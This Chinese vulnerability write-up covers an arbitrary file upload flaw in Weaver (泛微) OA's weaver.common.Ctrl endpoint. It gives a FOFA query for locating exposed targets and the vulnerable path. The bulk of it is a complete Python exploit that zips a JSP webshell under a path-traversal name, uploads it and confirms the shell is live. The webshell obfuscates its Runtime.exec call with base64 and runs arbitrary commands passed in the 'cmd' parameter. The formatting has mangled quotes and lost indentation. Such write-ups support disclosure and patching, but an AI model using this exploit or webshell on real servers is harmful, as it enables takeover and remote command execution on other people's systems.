泛微OA weaver.common.Ctrl 任意文件上传漏洞

# 泛微OA weaver.common.Ctrl 任意文件上传漏洞

## 漏洞描述

泛微OA weaver.common.Ctrl 存在任意文件上传漏洞，攻击者通过漏洞可以上传webshell文件控制服务器

## 漏洞影响

> [!NOTE]
>
> 泛微OA

## FOFA

> [!NOTE]
>
> app=”泛微-协同办公OA”

## 漏洞复现

存在漏洞的路径为

“`
/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp
“`

请求包为

​ 使用POC文件上传

## 漏洞POC

“`python
import zipfile
import random
import sys
import requests

def generate_random_str(randomlength=16):
random_str = ”
base_str = ‘ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789′
length = len(base_str) – 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str

mm = generate_random_str(8)

webshell_name1 = mm+’.jsp’
webshell_name2 = ‘../../../’+webshell_name1

def file_zip():
shell = “””<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<% if(request.getParameter("cmd")!=null){ BASE64Decoder decoder = new BASE64Decoder(); Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU="))); Process e = (Process) rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new Object[]{}), request.getParameter("cmd") ); java.io.InputStream in = e.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("

“);
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print(“

“);
}
%>
“”” ## 替换shell内容
zf = zipfile.ZipFile(mm+’.zip’, mode=’w’, compression=zipfile.ZIP_DEFLATED)
zf.writestr(webshell_name2, shell)

def GetShell(urllist):
file_zip()
print(‘上传文件中’)
urls = urllist + ‘/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp’
file = [(‘file1′, (mm+’.zip’, open(mm + ‘.zip’, ‘rb’), ‘application/zip’))]
requests.post(url=urls,files=file,timeout=60, verify=False)
GetShellurl = urllist+’/cloudstore/’+webshell_name1
GetShelllist = requests.get(url = GetShellurl)
if GetShelllist.status_code == 200:
print(‘利用成功webshell地址为:’+GetShellurl)
else:
print(‘未找到webshell利用失败’)

def main():
if (len(sys.argv) == 2):
url = sys.argv[1]
GetShell(url)
else:
print(“python3 poc.py http://xx.xx.xx.xx”)

if __name__ == ‘__main__’:
main()
“`

## 参考文章

[原漏洞公开地址](https://github.com/GTX8090TI/GTX8090TI.github.io/blob/6dd04a19bbc4fcef436e0b2f05c15bc98ac0c852/2021/05/02/%E6%B3%9B%E5%BE%AEOA-%E5%89%8D%E5%8F%B0GetShell%E5%A4%8D%E7%8E%B0/index.html)